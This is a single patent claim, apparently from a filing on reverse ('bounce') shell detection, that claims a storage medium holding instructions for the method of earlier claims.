13. A non-transitory computer readable storage medium storing computer instructions for causing the computer to execute the bounce shell detection method according to any one of claims 1 to 10.

Images